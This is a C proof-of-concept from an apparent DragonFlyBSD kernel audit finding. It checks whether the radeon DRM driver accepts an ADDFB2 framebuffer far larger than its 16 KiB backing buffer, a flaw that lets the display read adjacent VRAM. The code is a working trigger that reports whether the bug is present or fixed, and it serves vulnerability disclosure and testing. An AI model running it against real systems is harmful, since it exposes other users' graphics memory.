⬢ DragonFlyBSD Kernel Audit
DF-4181 / rfb_oob.c
← back to finding ↓ download raw
/*
 * DF-4181 PoC - radeon_user_framebuffer_create accepts a framebuffer whose
 * pitch * height far exceeds the backing GEM buffer object.
 *
 * Kernel path (no size validation anywhere):
 *   DRM_IOCTL_MODE_ADDFB2
 *     -> drm_mode_addfb2 (drm_framebuffer.c:336)
 *     -> drm_internal_framebuffer_create -> framebuffer_check
 *          (drm_framebuffer.c:165): only checks format validity,
 *          pitch >= width*cpp and height*pitch <= UINT_MAX - it NEVER
 *          compares the required image size against the BO size
 *     -> radeon_user_framebuffer_create (radeon_display.c:1311)
 *     -> radeon_framebuffer_init (radeon_display.c:1294)
 *          : no check either
 *
 * The PoC creates a tiny dumb buffer (64x64 = 16 KiB) and then asks for a
 * 1920x1080 XRGB8888 framebuffer on it (needs ~8.3 MB of scanout).
 *
 * Expected with bug:  ADDFB2 returns 0 (fb_id valid).  A modeset/flip that
 *   scans out this fb makes the display engine read ~8 MB past the end of
 *   the 16 KiB object in VRAM - adjacent VRAM contents (other buffers)
 *   appear on the physical display: an information disclosure.
 * Expected with fix:  ADDFB2 returns EINVAL (radeon_framebuffer_init
 *   rejects min_size > radeon_bo_size()).
 *
 * Build:  cc -O -o rfb_oob rfb_oob.c
 * Run:    ./rfb_oob [/dev/dri/card0]
 *
 * Needs a radeon KMS device with modesetting rights (DRM master / logind).
 */
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>

/* minimal mirrors of the DRM UAPI (sizes must match radeon_drm.h/drm.h) */
struct drm_mode_create_dumb {
	uint32_t height, width, bpp, flags;
	uint32_t handle, pitch;
	uint64_t size;
};
struct drm_mode_fb_cmd2 {
	uint32_t fb_id, width, height, pixel_format, flags;
	uint32_t handles[4], pitches[4], offsets[4];
	uint64_t modifier[4];
};
#define DRM_IOCTL_BASE		'd'
#define DRM_IOCTL_VERSION	_IOWR(DRM_IOCTL_BASE, 0x00, struct { uint64_t v[8]; })
#define DRM_IOCTL_SET_MASTER	_IO(DRM_IOCTL_BASE, 0x1e)
#define DRM_IOCTL_MODE_CREATE_DUMB _IOWR(DRM_IOCTL_BASE, 0xb2, struct drm_mode_create_dumb)
#define DRM_IOCTL_MODE_ADDFB2	_IOWR(DRM_IOCTL_BASE, 0xb8, struct drm_mode_fb_cmd2)
#define DRM_FORMAT_XRGB8888	(('X') | ('2' << 8) | ('4' << 16) | ('8' << 24))

int
main(int argc, char **argv)
{
	struct drm_mode_create_dumb dumb;
	struct drm_mode_fb_cmd2 fb;
	char *dev = argv[1] ? argv[1] : "/dev/dri/card0";
	int fd;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s (no radeon KMS device => "
			"hardware-gated, cannot exercise here)\n",
			dev, strerror(errno));
		exit(2);
	}
	(void)ioctl(fd, DRM_IOCTL_SET_MASTER); /* best effort */

	/* tiny object: 64x64x32bpp = 16 KiB */
	memset(&dumb, 0, sizeof(dumb));
	dumb.width = 64; dumb.height = 64; dumb.bpp = 32;
	if (ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &dumb) < 0) {
		fprintf(stderr, "CREATE_DUMB: %s\n", strerror(errno));
		exit(1);
	}
	printf("dumb BO: handle=%u size=%llu bytes\n",
	       dumb.handle, (unsigned long long)dumb.size);

	/* oversized framebuffer: 1920x1080x32bpp, pitch 7680 -> 8,294,400 B */
	memset(&fb, 0, sizeof(fb));
	fb.width = 1920; fb.height = 1080;
	fb.pixel_format = DRM_FORMAT_XRGB8888;
	fb.handles[0] = dumb.handle;
	fb.pitches[0] = 1920 * 4;
	if (ioctl(fd, DRM_IOCTL_MODE_ADDFB2, &fb) < 0) {
		printf("ADDFB2: rejected (%s) - %s\n", strerror(errno),
		       errno == EINVAL ? "FIXED (size check active)" :
					 "rejected for another reason");
		return (0);
	}
	printf("ADDFB2: ACCEPTED fb_id=%u for a %llu-byte BO "
	       "(needs 8294400 bytes) - BUG PRESENT\n",
	       fb.fb_id, (unsigned long long)dumb.size);
	return (0);
}